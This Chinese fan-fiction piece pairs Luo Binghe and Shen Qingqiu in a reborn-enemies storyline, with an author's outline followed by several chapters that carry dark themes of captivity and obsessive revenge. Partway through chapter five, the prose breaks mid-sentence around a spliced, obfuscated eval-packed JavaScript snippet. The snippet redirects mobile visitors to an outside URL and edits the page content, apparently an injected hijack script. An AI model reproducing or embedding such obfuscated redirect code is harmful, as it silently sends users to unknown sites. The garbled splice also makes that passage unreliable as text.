预警:仿〈重生后师尊没有收我为徒〉 这篇冰九写的超棒,主线大致为: 沈清秋被冰哥当成床奴,得到机会后返回到收徒之前。因为知道杀不死‘洛冰河’,干脆将他让给柳清歌。 冰哥重生,以为沈清秋没记忆,想攻略沈清秋。沈清秋一边紧张害怕被发现,一边故作平淡,想要将人撵走。 后面双方掉马,发现两人都有记忆,开互杀——啊不,没有互杀只是决裂又纠缠线。 ———— 首先,冰九直接最重要的一点。 九不喜欢冰,冰的武力值大于九。 所以九被压的最大原因是打不过——好的,真是简单直白。 但是——冰哥本身并不喜欢九。 额……这一点,起码狂傲线是这样的。 九,更不喜欢甚至堪称厌恶冰。 所以,是互杀互恨(啊,真的很将军令,我果然喜欢这种相爱相杀,相恨又纠缠不清) 好的,鉴于之前仿过颜色废料,冰九也有很重要的一点: 两个人的情感纠纷,尤其是其中一方绝对压制另一方时。 必须是双方沉沦。 甭管是心动还是相杀,必须双方一起。 之前的废料开端是当众绑一起,这个文章的开端是本就压了又压,接着重生。 emmmm,行吧,反正就是纠缠。 ——正文大纲—— 开局描写一段废料会被禁吧……(额,委婉隐晦点?算了算了,我们不能在违禁底线疯狂试探) 沈清秋重生,洛冰河拜入百战峰。(这个剧情差不多就是原文了,毕竟这也没啥可写的吧……难不成还指望我能写几千字弟子考核吗……) 两者见面,沈清秋尽力遮掩,洛冰河还是感受到对方关注与恶意,开始‘恢复记忆’(沈清秋虽然不想与对方接触,但是之前吃那么大的亏,咋可能不记恨?) 洛冰河重生,试探沈清秋。沈清秋一边想躲,一边又觉得‘劳资又没干啥,凭啥要躲?’(还是那个理,沈清秋不想与对方接触是真的,但是理直气壮的用身份压人也是真的) 沈与冰一同出任务(这个好像有点难,但总要创造两个人接触的机会啊。毕竟故事的主线是冰九,这种双强、双杀、双恨、爱恨交织的cp才磕起来有感觉啊) 柳清歌与沈清秋对打对骂。冰……感到自己的所有物被人抢走(冰哥虽然不一定喜欢沈清秋,但绝对见不到沈清秋自由自在、肆意潇洒。嗯,一直可以归为占有欲的情感吧。) 洛冰河制作梦魇试探(冰哥不可能看着沈清秋逍遥自在,更不可能察觉不到沈清秋的异常,所以试探是肯定的,给对方埋几个雷也是随手的) 沈清秋失忆,两人温馨相处(失忆梗真的很好用的,虽然恢复记忆就开始互杀。原文的失忆梗简直棒呆了……嗯,别指望我,我的失忆梗……是为了给后期互杀挖坑) 互杀……(果然,冰九、七九、柳九到最后,我都能写成互杀) BE:呃……(我真的是甜文写手,可是冰九的结局吧……你能指望一个最后永远是互杀的写手写出啥he嘛……) 正文 ——第一章:是梦魇,绝对只是心魔—— “沈清秋,你后悔么?” “沈清秋,是你害的我,所以要千百遍‘还回来’。” “沈清秋,疼吗?疼就对了。对你这种恶劣小人,就该抽筋剥骨、沦为他人泄恨工具。” 乌压压的黑气蔓延,过于黏稠的空气堵在鼻腔,令人喘不过气。身后是四散崩裂的伤口与止不住流淌的猩红鲜血,搭配着波涛汹涌的浪花疯狂被撕裂。 疼痛如果喊出来,即便不会被减轻,起码能转移注意力。可惜,沈清秋并没有将脆弱展现给别人的爱好,故而除了某些实在忍不住的时刻,嘴唇都是被死咬着,连闷哼也泄露不出。 —— 在一身冷汗之后,沈清秋终于推开了压制自己许久的‘物品’,看到独属于夜晚的、斜洒而下的月光。 ‘月……?’ 沈清秋抬起头,努力确认脸上不曾被绑上布锦,手腕也没有厚重冰冷的寒铁——甚至于,从不曾消除的腰疼与膝盖,都好似轻松又平缓。 ‘是噩梦,还是某人布下的恶作剧?’ 沈清秋看着被乌云遮盖后,重新一片漆黑的屋子,眼中无意识的滑下一滴冰凉液体。 他抬起右手,触碰那一片很快就干涸的脸庞。细腻、温润、富有弹性,是精致养护之下,生命本源充沛的象征。 是噩梦啊。 一场,稍微回想一下,心脏都会撕裂的噩梦。胸腔内部瞬间引发某种剧烈的动荡,某种酸苦的液体挤压于喉头,恶心的抽搐几乎令人想吐。 没事的,沈清秋将掌握成拳,指尖与掌心留下深深的月牙。伸手不见五指的深夜之中,不会有人看到他的神情,亦无人会察觉到他那一闪而过的破碎。 这里是清静峰,是他居住良久的竹屋。 月光再次温柔的打开窗帘,驱散寒夜的噩梦。千百年来,寂寥的寒月映照着世间的一切,不言不语。 江畔何人初见月,江月何年初照人?不知为何……今晚的明月亮得让人想要落泪,或许……是太久不曾见到。 那场怎么样也醒不过来的梦魇之中,不仅是家破人亡、孤苦伶仃,还有夜夜笙歌、日日沉沦。漆黑的屋子里,除了对方闪着残忍嗜血的眸子,就是叮叮当当的铁链。 他终于醒来了。 之前的所有可怕后续,只是坏他道心的梦魇。 他只是走火入魔,陷入心魔劫而已。 而今,既然‘醒来’,就绝不可能‘重蹈覆辙’。 ———— 沈清秋心情很好,好到大肆动用灵力,下了一场能覆盖整个清静峰的大雪。 重峦叠嶂的山脉连绵不绝,轻柔飘逸的雪花承接于手心之中,在没被融化为凉寒之前,拥有极为对称工整的六瓣结晶。 岳清源伴着‘咯吱’声前来,手中是九寒天蚕丝织就的围巾。 细软的蚕丝一缕缕抽出,由专人小心挑染编制,最终成为价值千金、寒暑不侵的布匹。再交由万剑峰融入天外陨铁等珍稀材质,最终达成不染尘埃、刀枪不入的特性。 而这样防御力拉满的‘法器’,只不过是岳掌门随手用来哄沈清秋开心的小玩具罢了。 “清秋师弟,心情可好?” 岳清源这句话是绝对的废话。 沈清秋虽然布下一场遮掩万物的鹅毛雪,但实际温度却没降上多少,练剑的弟子们甚至一身短打,也不见其寒冷。 群山环绕之中,连山上草木都附上一层白皑皑,随着微风吹拂,像是都增加了毛绒和漂浮特效,有种莫名的可爱与闪亮。 大片白色总会让人想到寂寥无人,清静峰虽然人少,却还算热闹。人声鼎沸之时,即便是大雪封山,也颇有偏居一隅的逍遥自在。 “你来干什么。” 沈清秋侧开身子,避让对方想为他披上围巾的动作。这样的姿态过于熟谙,他在噩梦中混沌太久,被人过于暴力的压迫与刺穿,现在醒来,实在是不想与任何人过于亲密。 若非竹屋乃是他亲手搭建,清静峰又是他久居之所,就连床铺和屋顶,他都想拆掉。 “过几日便是新一度弟子选拔,清秋师弟可有……” 岳清源尝试过一次就不再尝试,价值千金的九寒天蚕丝被随手丢在地上,像是无用的、随手丢弃的破布,与雪地融为一体。 岳清源取出小桌子,又摸出茶壶与冰瓷杯,手腕微动,从梅花上引来薄雪,灵力加热之下,沏于碧螺春之中。 沈清秋瞥他一眼,最终还是跪坐于对面,接过岳大掌门亲自泡好的茶水。 “清秋师弟,此茶如何?” 岳掌门轻抿一口,呼出一片雾气。被水蒸气殷熏的目光里,有着棉花般的温和与包容。 沈清秋闭上眼,想着梦境中对方为自己赴死,终究还是挪转视线,对着广阔无垠的雪山,开始掉书袋: “雪水自古便有着‘天泉’的美誉,凝天地之灵气、通体透白、无瑕至纯。纯净清寒的天泉搭配清雅透彻的碧螺春,茶汤清醇、口感清新,自是相得益彰。” 远方有鸿雁飞过,尖锐又悠远的鸣叫响彻群山。晨曦透过尚未消失的薄雾,通过水珠的散射形成金黄与七彩相交汇的霞光,温柔又平等的披在白雪之巅,熠熠生辉。 “所谓‘晨起开门雪满山,雪晴云淡日光寒’,清秋师弟今日好兴致。” 沈清秋愿意回话,哪怕是这样的‘官方夸赞’,已是让岳清源惊喜不已。他不知对方为何会突然改动天气,也不知他为何会接过自己的茶杯,更震惊于对方居然愿意接话。 这是不是说明,一贯孤僻不愿理人的沈清秋,终于被他的诚心所感动,开始与人接触了? 真是个好兆头。 岳清源慢悠悠的陪对方赏了半个时辰的景,桌子上光糕点就换了不下三十多种,可惜沈清秋除了一开始尝过一块桃花酥,什么也没动过。 岳清源也不着急,挥手将桌椅板凳收拾好,留下一句‘弟子考核之日,我来接你’,转身一步三回头的离开。 沈清秋始终没有看对方越来越远的背影,唯有岳清源离开一炷香后,才若有所思的盯着对方留下的脚印。 他们这个境界,完全可以‘踏雪无痕’,所以岳清源刻意踩出脚印,是为了什么? ——第二章:不喜欢的人,第一眼就心生厌恶—— 沈清秋不想看见洛冰河。 即便这个名字都不知道是不是真实存在。 可当他从一众萝卜中看见对方那一刻,他突然感到莫名的心悸。 不是恐慌,也不是害怕,更不是惊悚,而是一种心脏被什么东西牢牢抓住的感觉,是一种无法逃避、近乎绝望的‘宿命’。 他之前曾反复对自己洗脑:那只是个梦魇,是长久以来的心魔劫,是没有跨过修为门槛,对自己实力的不自信。 可当对方真正出现在他面前时,沈清秋除了手脚冰冷、血液凝结之外,心脏和呼吸都暂停了跳动。 无数种可怕猜想争先恐后的涌出,数个分支与后续、抉择与对策开始纠缠着浮现。 如果—— 那不是梦呢。 如果—— 那是预言或预支呢。 如果—— 那是未来或者曾经发生过的事实呢。 他,该如何破局? 沈清秋的表现过于明显,一瞬间苍白的脸和过于直白炽热的视线,令洛冰河扭过头来,直视着对面高台上,那一青、一白、一黑的三个身影。 岳清源第一时间察觉到沈清秋的不对劲,长腿一跨,隔开柳清歌:“清秋师弟,你怎么了?” 边说,边隐隐的遮挡柳清歌望过来的视线。 这两人在一起就没安生过。若不是弟子入门考核需要所有峰主在场,这两位一个久居屋门不出、一个执着于四处挑衅打野,平日里哪有机会能碰到? 看见岳掌门‘护犊子’般的动作,柳清歌无语的翻了个白眼,手指点一下洛冰河:“那个弟子资质最好,你别糟蹋了。” 听到这句话,沈清秋下意识想与对方回怼,放在自己手下怎么就算‘糟蹋’?非要与柳清歌一样四处打架斗殴,才是正道不成? 若非沈清秋实在不想与洛冰河扯上关系,就凭柳清歌这句话,这个弟子他怎么着也要弄到手里!你不让我‘糟蹋’,我还偏要‘搞砸’给你看! 只是某种从内心生出的警惕、以及血液供不上来的缺氧症状,还有‘梦魇’给他留下的过深抵触,令沈清秋嘴角抽搐几下,最终一字未发。 柳清歌有些新奇的看了沈清秋一眼,再次确认他真的不仅没有反驳,也没有使坏,眼里升起疑惑和警惕。接着,他身躯微动,视线跨过岳掌门的‘物理隔开’,盯着对方的脸喊到: “沈清秋?” 沈清秋本身心情就不好,已经‘放(让)过’柳清歌一次,结果对方还不收敛,现在再次挑衅自己,这谁能忍? 沈清秋二话不说,右手拔出修雅剑,就要与对方开战。虽然他不喜欢出门,更不喜欢没事干架,但对方是柳清歌的话,那就是无论如何也要打! 柳清歌听到仙剑被拔出的‘当啷’声,眼里闪过一丝确信:‘还是那个受不得激的恶毒小人,之前大概是哑火了吧。’ 岳掌门右手食指与中指夹住修雅,阻挡沈清秋向前砍去的动作。脸上有些为难,更多的却是无奈: “清秋师弟,下面弟子都看着呢……” “……” 沈清秋撇一眼周围看戏的峰主们,又看向那边站的笔直,脸上却满是挑衅的柳清歌。当即火冒三丈,就想与对方互骂。若是能抢走对方的心头好,更是要胜他一头! 刚才柳清歌是不是看中个弟子来着? 现在就得跟他抢了! 待沈清秋视线转过去,再次看见洛冰河的那一刻。 就像是大冬天被人泼了一盆盛满冰块的冷水,沈清秋过热的脑子一瞬间清醒,瞳孔紧缩,刚要张开的话语被死死吞进肚子里。 接着,沈清秋重重的哼了一声,转身就走。 丫的,劳资惹不起还躲不起了? 这个‘洛冰河’最好是梦境里那个,柳清歌就算是死在对方手上,沈清秋只会笑的比谁都大声! ———— 岳清源实在是个体贴过度的人。 为什么这么说呢。 当他发现沈清秋和柳清歌闹矛盾的时候,虽然制止了沈清秋用剑砍人,但两者‘争吵’的源头——洛冰河,却被送到了沈清秋面前。 “……” 如果是其他人,沈清秋也就收了。对于气柳清歌、与柳清歌比较这件事上,他的劲头一直很大。 但面前这个…… 沈清秋想也不想就开启阵法,将‘远道而来’的两人关在外面。 即使那是一个不知真假的梦,当‘梦中人’真正站在自己面前时,沈清秋还是忍不住心里发慌。 那是个梦。 绝对是梦。 他不可能放任自己混成那个鬼样子。 甭管是一声不吭的放下武器,还是沦为俘虏后又成为床奴。 那些记忆,绝对是假的。 一定是有人要乱他道心搞出来的。 而他此刻的‘拒绝’,只不过是不想给自己添麻烦而已。 绝对不是怕什么! 岳清源看着突然被打开的阵法,视线直挺挺穿越层层阻拦、扰乱气机的阵法,与沈清秋隔空对视。 即便他们的视线并未交错,沈清秋还是感到一股被人看穿的刺痛感。 他们这种人,是绝对不可能将软肋展现出来的。岳清源的行为虽然体贴入微,言语也温和平柔,但若真计较下来,却未免有些越俎代庖了些。 ‘他还真当自己是兄长了。’ 沈清秋狠狠骂一句,转身就走。 想要忘记一个故事并不困难,不去计较得失就行了。 他不想记得的事情,谁也别想让他‘回忆’! ——第三章:劳资只是想救个人,并不想搭上命—— 最后洛冰河的归属,自然是百战峰。 沈清秋不仅气的脸色发白也没开口‘讨要’,又在岳大掌门亲自护送的情况下开启阵法——态度如此坚决,若岳清源还要强送,就不符合‘爱护幼弟’的兄长展现了。 故而,这个被沈清秋‘嫌弃’的弟子,自然而然的,就成为柳清歌坐下弟子。 当洛冰河睁开眼睛、整合记忆之时,毫不犹豫的,将这件事当成沈清秋对他的下马威:看吧,即便是不拜入清静峰,他也能折腾他。 这样恶劣的行为,这样不留余地给他挖坑,这样‘特殊’的表现,洛冰河可以确定,沈清秋绝对与自己一样‘回来了’。 ‘都回来了啊。’ 洛冰河嘴角勾出残忍笑意。 真好,他上一世没玩够,这一世还要好好‘报答’对方的教导之恩呢。 只是…… 百战峰这以武力定阶级,以绝对的战力确认职责,以打来打去、下山历练为主要教育方式的训练模式…… 还真给了洛冰河截然不同的,生活学习氛围。 就连洛冰河略显文雅的招式,也被不少人取笑为‘花架子’‘假把式’。甚至有不少人在他耳边叽叽喳喳,说他确实不该来百战峰,还是讲究修身养性、恭疏谦卑的清静峰更适合他。 ‘……’ 所以说,百战峰与清静峰的不合,究竟是从哪里就开始的?是长久以来的理念,还是当今两位峰主的挑衅对打? ———— 在沈清秋的记忆里,有一条‘偷袭柳清歌致死’的罪名。 但是—— 得知这个消息,并不代表他就能避开。 比如面前这个,因他一时被声音吸引,好奇过来查看,结果发现对方已陷入心魔、成为见人就打的狂战士。 ‘……’他奶奶的,流年不利。 沈清秋尽可能退让闪躲,不去击打对方。 如果梦境中的事情是预知,那么他就绝对不能出剑——鬼知道他出的那一剑,会成为后续钉死自己的榔头? 可若是不用修雅,光靠闪躲与暗器,沈清秋又硬刚不过对方。 虽说他知道自己最后落败的原因是武力值不足,可修为这种东西又不能一下子提升,打不过的敌人就算是爆种燃命,总归也是有限度的。 尤其是,在叠加‘他随意出剑会致对方死亡’之后,沈清秋打的更加憋屈。 “喝!” 柳清歌的走火入魔并不表现在筋脉曲张,也不存在血液倒流。相反,心魔的存在反而使得他忘记疼痛,越战越勇。 之前还只是单纯的空打与击墙,沈清秋进来后,柳清歌的所有注意力都被夺去,新仇旧恨的叠加令柳清歌更像个杀戮机器。 “!!!” 沈清秋怒了。 他虽然不想成为梦境中的失败者,但更不想因为畏手畏脚而死在这里好吧!他是想救个人,但并不是大义凛然、兄友弟恭到愿意用自己重伤来换取对方存活! 他能忍着对柳清歌的烦躁压下性子不去进攻已是艰难,现在难道还希望他什么也不做的任对方胖揍一顿,寄希望于对方走火入魔之下还有‘不杀人’的分寸? 如果他当真混成需要寄希望于别人的份上,还不如干脆顶着‘恶毒狭隘’、‘刺杀同门’的风评直接弄死对方得了!想救人是因为他还有良知道德,可他就是不救人又能如何? 反正众人之间的偏见是不可能消除的,他还不如干点符合自己人设的事情,大不了以命换之,也落得个清静自在! 而且百战峰峰主被自己杀死后,他不信其他人还想再‘损失’一位清静峰峰主。最后的结果无非是受几顿责罚,然后大家一起将这件事压下去,不让外界知道就行了—— 柳家只剩一个柳溟烟,平日里多赔偿一些,也就过去了。女孩子家家,给她找个如意郎君比什么都重要。 想通这一点后,沈清秋‘唰’的一下抽出修雅,拿起剑就是砍——别问他为什么不用灵力附加于剑法,即便是纯武力的对抗,沈清秋也不惧! ……(难道还能指望女频写手写打斗吗……) 运气不错,在沈清秋力竭之前,是他先制住了柳清歌。 只是一想到要扛着对方去百战峰或者千草峰,沈清秋心里就开始各种别扭。 他并不想看见那个梦魇中反复出现的弟子,更不想去对自己恶意极大的百战峰地盘。可让他去木清芳的千草峰,沈清秋又不知该如何对大夫描述。 难道要告诉他,病人的伤势本身不算严重,却被他打成了快残废? 这也太尴尬了…… 毕竟现在躺地上半死不活的是柳清歌,沈清秋虽然也算遍体鳞伤,但与这个进气都不算多的家伙比起来,实在是好太多。 即便他是为了自保,谁又会相信? emmm…… 最后沈清秋还是扛着柳清歌回百战峰了。他宁可面对一堆弟子的质疑,也不想面对木清芳那张‘你们为什么非要次次见面都往死里打’的困惑脸。 被小辈谩骂和围攻不算什么,同辈的关心与爱护、疑惑与不解,才是沈清秋更想逃避的东西! 只是…… 面对一众没脑子的玩意,沈清秋还是忍不住骂了一顿: “一堆人加一起都凑不出来个脑子,现在还有闲心聚众声讨。若是再等上一时片刻,你们峰主死亡的事是不是也要赖上我?” 简直愚蠢至极!见到伤患后不立刻去请医护就算了,居然还想对他这个‘救人’者倒打一耙。他若真想让对方死,何必将人弄过来?这地方果然都是有武力没脑子的玩意,只适合当苍穹山杀人的刀。 沈清秋甩一下袖子转身就走,这群连首席都没推举出来的弟子们自然拦不住他——若是沈清秋能被这群义愤填膺的杂兵困着,他还不如干脆将脖子洗干净砍了算了。 ——第四章:山外初见,试探—— 沈清秋生性风流,最喜山外寻欢。 这是洛冰河早就知道的事情。 只是当真见着时,洛冰河心里的不满还是瞬间升起,无论如何也压不下去。他曾多次询问沈清秋后不后悔,对于这样一个做错事之人,得到那样的结局,是他应得的。 可若是对方求饶、悔过—— 洛冰河同样不会放过对方。 挺好。洛冰河无论如何也不可能放过对方,沈清秋亦知道洛冰河不会放过他,所以洛冰河至始至终也不曾听到沈清秋的服软。 真是一个,首尾相接的衔尾蛇啊。 两个人都不可能原谅对方,双方也都知道一个逃不走、一个得不到,于是他们就这样纠缠着、互恨着,靠对彼此的憎恨与厌恶,一点点熬过余生。 可这辈子不同。 沈清秋选择与他断绝联系,从一开始就不接触他。甚至说,为了将他‘锁死’在百战峰,连柳清歌都出手救下。 曾经沈清秋最大的罪名,就是暗害修真界战力巅峰柳清歌,导致修真界与魔界的情势对比之下输了一筹。 当这个罪名被破解,沈清秋又该如何‘拿下’? 暗害弟子、师徒乱论并不算什么大事,无非就是人品败坏,有些道德污点而已。 洛冰河需要仔细思索一下,如何才能给他编织新的罪名,最好是一举将其落下神坛的那种。 “你们百战峰就这么闲?没事喜欢盯着其他人的行踪?当真不知柳清歌是你们的峰主还是我是你们峰主,这么喜欢清静峰何必拜入柳清歌门下?” “败坏苍穹风气?你们四处杀伤打砸,难道就算‘扬名立万’?若是苍穹的名声能被我一人败坏,这苍穹山不如改为‘名头’得了!” “你便是告知岳清源又如何,岳清源他管天管地,还能管我寻花问柳、夜夜笙歌?你有本事现在就喊他过来,看是谁先受罚!” “……” 洛冰河看着不带歇的一口气喷完所有人的沈清秋,不知道该感叹他是牙尖嘴利还是傲娇鲜活。 与记忆里的恶毒冷漠、咬牙忍耐相比,这样的沈清秋连讲话骂人都是理直气壮,即便明显不占理的状态下也能火力全开的将人怼的无话可说。 只是—— 洛冰河已确认对方‘存在记忆’,并且‘认出自己’,却为何不怕他? 不,是怕的。 沈清秋虽然嘴皮子利索的说完一大段话,可却在视线环绕到自己身上时猛然收回,并下意识哆嗦了一下后,肩膀线条收紧、倚靠在身后的美人怀中。 仔细看过去,沈清秋手中已掐起剑诀,虽窝在美人怀里,却隐隐将人护在身后。 他在怕,怕自己连带身后的美人? 洛冰河轻轻的笑了一下,为自己的猜想而感到有趣。沈清秋什么时候这么‘舍己为人’了,遇见他的第一件事不是想着逃亡,而是要护着其他人? 是他太好说话,令他忘记过往;还是他看起来那么凶神恶煞,令他觉得他是个滥杀无辜之人? 洛冰河挂起堪称阳光开朗又恭敬守礼的表情,走到一众百战峰弟子面前,认真行了个弟子礼:“沈师伯说得是,弟子这就带大家离开。” 果不其然,随着洛冰河的走近与开口,沈清秋的表情变得更加僵硬,过于紧绷的面容使他棱角极为分明,表情甚至可以说是‘严肃’和‘冷酷’。 虽说沈清秋并没有与对方接触过,但梦境中实实在在体现过‘洛冰河’的残暴与喜怒无常。这样一只不知什么时候就会发狂的疯狗,是个正常人都要离他远远的。 即便这只会择人而弑的疯狗还没长成,有过咬人征兆的畜牲,还是要尽快弄死才行。 沈清秋手中剑诀已起,若非对方人数太多,即便是拼着与柳清歌结死仇、与百战峰所有人对立的风险,他也要尝试将人留下! 只是,洛冰河行礼之后,竟真的带人离开了。 像是所有其他峰弟子一样,与他打个招呼,在确定他没有‘别的吩咐’之后,转身就走。 倒也让沈清秋松了一口气。 直面梦魇,实在是件极为挑战心理底线的事情,如若可以,沈清秋一点也不想与对方遇上。 —— 沈清秋的紧绷与放松,已在清清楚楚、明明白白的告知洛冰河,他还是很‘在乎’他的存在的。 即便这种‘在乎’的源头是愤恨、恐惧、惊慌、厌恶—— 只要沈清秋对待他与旁人不一样,就够了。 上一世的沈清秋高高在上,看不见洛冰河的苦难与挣扎。 这一世,洛冰河要他永远看向自己,眼里,也只有自己。 所有敢阻拦洛冰河出现在沈清秋眼中的人,都该杀。 所有令沈清秋抗拒洛冰河存在的人,都会化为尸体与灰烬。 至于沈清秋自己的情感? 难道永远的抗拒与害怕,就能真的逃离? 只要洛冰河的武力一直凌驾于众人之上,沈清秋就别想跑。 甚至说,沈清秋越在乎什么,洛冰河就越能利用什么。 你想要保留那些人与物? 可以,拿你自己来换。 不同意? 那就守着他们的尸体,见证下一位‘存活者’的死亡。 ——第五章:出个任务而已,沈清秋会怕谁?—— 洛冰河一直很想再次遇见沈清秋,所以他有意无意的在花楼勾栏遛弯,希望能再次‘堵’到沈清秋。 可惜,大概是沈清秋学聪明了,知道他越是与这些女子接触,这些女子日后的生活越凄惨,所以干脆不再下山,连清静峰也不出。 值得一提的是,柳清歌醒来了。并且他的记忆之中,存在沈清秋一开始努力躲闪尝试唤醒、最后被逼的为自保而拔剑的经过。 众人都知道柳清歌不会为了维护沈清秋而说瞎话,更何况他当时的情况很差,沈清秋的衣衫也不算完好,强烈的战斗痕迹和血腥气,总不会全都源于柳清歌。 有了柳清歌的亲口讲述,百战峰的人即便是看见清静峰之人再怎么不爽,却也开始约束自己,不至于一言不合就开打。而其他峰的人,也开始若有若无的为沈清秋说好话。 沈清秋的风评,倒是莫名其妙的被纠正改善成‘孤僻冷漠’、‘对修为执着’、‘不喜与人接触’。 沈清秋听之冷笑一声,只觉得名声当真是个有趣的的东西,他修身养性、除岳清源柳清歌外从不与人过多接触,可其他人就是认为他尖酸刻薄、性情乖张。 现在只是‘救’下柳清歌,其他人反倒觉得他‘虽不与人交流,却也会在危难之时伸手’‘虽执着修为,言语尖锐,但本性不坏’。 可若他当真如梦境那般‘误杀’柳清歌,恐怕这个声名,就要立刻将他钉死在羞辱柱上,任每个‘知情人’鄙夷唾弃吧。 柳清歌话语虽少,但毒舌程度与自己不相上下,且他拔剑闹事的次数比自己只多不少,却为何从不曾有人议论? 还不是看自己端庄守礼、修君子外皮,故而显得软弱好欺,用流言排挤于他,拿他做消遣? 君子可欺以方,沈清秋从不自诩君子,故那些流言蜚语,伤不了他。 修真界终归是武力为尊,若他有柳清歌的战力,又兼之一副‘不服就干’的性子,谁敢随意拔老虎触须? 深究其原因,还是修为不够! —— 大概是‘沈清秋救柳清歌’这件事给了其他人很大的震动,岳清源此次安排任务,竟将两人放到一块去了。 明明弟子入门时岳清源还在想方设法隔开两人,现在却主动将两人放到一起,笑意温厚的嘱咐: “柳师弟的性子众人皆知,清秋师弟你既主动示好,柳师弟无论如何也会保你万事顺遂、平安喜乐。” “……” 神TM的‘主动示好’! 沈清秋只是不想让自己踏梦魇中悲惨后续的前尘!重蹈覆辙什么的,听起来就是不怎么美妙的东西,甭管那个该死的梦境是预知还是前世,沈清秋都不希望它‘发生’! 只是岳清源并未收到沈清秋的抵触,也可能是感知到但更希望两人能‘和睦相处’。故而,这趟外出任务,还是老三位的沈清秋、柳清歌、尚清华搭配。 这是一个蛮简单的任务。某处有妖兽扰民,当地官府杀不掉属于修真界的东西;当地的小门派也干不过疑似生出智慧的妖兽,上报之后,就送到了岳清源的面前。 一般来说,这种简单粗暴、一刀砍断的任务,都是随手丢给百战峰让他们练手的。至于为什么会出动两位峰主,是因为那个山的地界,有一部分属于幻花宫。 这种两界交叉的地方,最容易因地界而生出三不管或者两派相争的戏码。虽事并不算难,可这其中若是掺杂了利益交错,就很难一刀斩断,迅速清除了。 毕竟—— 那可是疑似生出灵智的妖兽。 若是能堪破其中辛密,找到具体为灵兽或妖兽‘开智’的灵物或方法,谁就能拥有一整个‘御兽’分支。 —— 沈清秋自然带的是明帆,柳师弟带的却是洛冰河。尚清华带的是个一看就机灵的矮胖小子,跑前跑后的为众人安排行程规划、筹备马匹干粮等物资,名为‘苏影’。 沈清秋踏出山门,看见洛冰河的那一刻有种转身就走的冲动。 这件事他完全可以一个人搞定,不需要柳清歌跟上当打手,也无需尚清华负责后勤。只要随便御个剑,不超过三天,他自己就能搞定一切。 只是—— 沈清秋为什么要走? 他又为什么将原本该三个人干的活自己解决? 他怕对方吗! 沈清秋会怕一个百战峰的弟子,被柳清歌带出来是洛冰河吗! 他又没做错什么,甚至那场梦境里,他从头到尾都是‘受害者’,他为什么要怕对方? 就因为‘梦境’之中,对方会打败他、折辱他? 若是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176100|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这个原因,沈清秋还修什么道,破什么境界,干脆画个圈死陷在心魔之中算了! 他是吃亏的那个,凭什么要跑? 若是给他机会,他恨不得杀掉对方,现在不接触,是想给对方成长起来的机会吗? 思考到这,沈清秋身上莫名出现一种韧劲,那是完全无所谓、甚至恨不得拉上一切也要对抗的烈性。这种烈性使他无法对任何人弯下脊椎,亦不能对‘可能产生的痛苦’进行逃避和退让。 他的血太烫了,他的心太热了,他的骨头与腰板太硬了。即便心底忍不住的想要逃离,到嘴边的求助却被死死压在咽喉,随后制造出一片风轻云淡的肆意。 ——第六章:柳清歌这个猛夫,弟子丢了都不要吗!—— 看着明显虚上几分的柳清歌,沈清秋在踏上马车板之前,忍不住开口挑衅: “柳公子,还活着呢?” 沈清秋指的是濒死的柳清歌,被百战峰那群傻子丢下,一众人只想着嘲讽他,却没一个人与千草峰发讯息。若非沈清秋提醒,柳清歌若真死去,也不知道该找谁讨命。 当然,想必以柳清歌的没脑子,肯定会觉得若不是沈清秋插手,他怎会‘病情恶化’,又怎会不治而亡? 所以说。最后被怨恨的,依旧是沈清秋。 哎~没办法,招人恨,就是这样的~ 奇怪的是,柳清歌嘴张了张,右手已经摸到乘鸾的剑柄,最终却冲他点点头,什么也没说。 “哼。” 沈清秋也不想去深究柳清歌到底想些什么,目光快速的从洛冰河身上扫过,转身进入马车。 后面的明帆有样学样,半仰着头,与沈清秋一同踏入,接着布置好一切,出来赶马。 别问为什么其他人都是师尊与弟子一同,沈清秋不愿与人接触又不是一天两天了,若是这点眼力劲也没有,明帆这个大弟子也不用干了。 洛冰河掀开帘幕,看着‘认命’赶车的明帆,眼中恶意一闪而过,计划着什么时候将他性命留在这里。 沈清秋的眼中,不需要有‘其他弟子’;他的身边,也不需要有‘管家’、‘狗腿’。 柳清歌的独立能力很强,等沈清秋身边空缺出人手,洛冰河不介意屈尊降贵的过去,‘侍奉’一二。 —— 柳清歌的性子一如既往的直率,形式作风也一如既往的‘任你花招百出、我自一剑砍之’。 在看见妖兽群的第一时间,柳清歌乘鸾剑出,迎上前来。而随着妖兽的溃逃,柳清歌想也不想的跟上,完全不在乎身后有没有队友、队友的关系又是否和谐。 尚清华及其弟子苏影早在入山之时就被派去联系当地小门派,明帆跟随在沈清秋左右,右手持剑,警惕后方。 沈清秋看着极其自然的向自己走来的洛冰河,心中升起最高程度的警惕—— 会叫的狗不咬人,咬人的狗从来不叫。 这个弟子表面上看是一脸恭敬,眼底却隐藏不住屠戮的亮光,绝对不是好相与的主。 神情沉稳、步伐一致、姿态从容,若是身上的弟子服换成明黄或玄墨,活脱脱一个有实权的重磅人物。 这样的人,要么早熟早慧,要么城府极深,无论是哪一种,都是要提起精力好生应对才行。 沈清秋仔细打量着对方,以对待一生之敌的态度认真研究。 对方的容貌与自己不分上下。 若说沈清秋是精致描摹、诗书熏陶下的产物;柳清歌便是因常年的只专心练剑而刻画出独属于剑痴的冷厉。洛冰河便是经年累月的执掌权柄,由杀戮和鲜血铸造的狂暴张扬。 这样一个不该存在与普通弟子身上的气质,与那张明显稚嫩的少年脸庞,整个人充斥着说不出的违和感。 更别提对方眼中根本压不下的狩猎欲,每每被他看上一眼,沈清秋都感觉自己像是深陷蜘蛛网中、无力挣扎、无法逃脱的猎物。 说起来。 这是沈清秋记忆里,第三次与对方见面。 第一次是收徒大会,他被梦魇所扰,连与柳清歌呛声都懒得争,在看见对方的那一刻直接转身走人。 第二次是暖春阁,染着桃花香的女子性情如水般温柔,言谈之中从不窥探多余的想法,能最大程度令沈清秋放松。 虽洛冰河走的很干脆,沈清秋还是不敢赌。这些烟花女子的性命太过于脆弱,他不希望因为自己的缘故,给他们招惹上一尊杀神。 第三次……便是这次。 